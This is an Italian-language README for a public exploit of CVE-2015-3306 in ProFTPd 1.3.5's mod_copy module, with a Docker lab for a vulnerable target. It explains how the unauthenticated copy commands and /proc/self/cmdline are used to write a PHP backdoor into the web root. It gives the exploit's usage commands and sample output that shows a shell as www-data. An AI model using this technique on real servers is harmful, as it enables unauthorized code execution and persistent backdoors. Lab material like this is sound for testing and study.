
ProFTPd 1.3.5 - (mod_copy) exploit di esecuzione remota di comandi e contenitore vulnerabile
ProFTPD è un demone FTP altamente configurabile per Unix e sistemi operativi simili a Unix. ProFTPD è nato dal desiderio di avere un server FTP sicuro e configurabile. È stato ispirato da una notevole ammirazione per il server web Apache. A differenza della maggior parte degli altri server FTP Unix, non deriva dal vecchio codice base ftpd di BSD, ma è un design e un'implementazione completamente nuovi.
Per configurare un ambiente vulnerabile per il tuo test avrai bisogno di Docker installato, e ti basterà eseguire il seguente comando:
docker build -t vuln/cve-2015-3306 .
docker run --rm -it -p 21:21 -p 80:80 vuln/cve-2015-3306
E questo genererà un'applicazione vulnerabile sul tuo host sulle porte 21 e 80
Il modulo mod_copy in ProFTPD 1.3.5 consente a utenti remoti non autenticati di leggere e scrivere file arbitrari tramite i comandi site cpfr e site cpto.
Qualsiasi client non autenticato può sfruttare questi comandi per copiare file da qualsiasi parte del filesystem verso una destinazione scelta. I comandi di copia vengono eseguiti con i diritti del servizio ProFTPD, che di default gira con i privilegi dell'utente 'nobody'. Utilizzando /proc/self/cmdline per copiare un payload PHP nella directory del sito web, è possibile ottenere l'esecuzione remota di codice PHP.
Per sfruttare questo target ti basta eseguire:
./exploit.py --host HOST --port PORT --path PATH
Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
Dopo lo sfruttamento, un file chiamato backdoor.php verrà archiviato nella cartella root della directory web. E l'exploit ti aprirà una shell da cui potrai inviare comandi alla backdoor:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
Questa vulnerabilità è stata trovata da Vadim Melihow.
Questo programma o i precedenti sono solo per scopo EDUCATIVO. Non usarlo senza permesso. Vale il consueto disclaimer, soprattutto il fatto che io (t0kx) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o delle funzionalità fornite da questi programmi. L'autore o qualsiasi provider Internet NON si assume ALCUNA responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Utilizzando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash di sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di t0kx.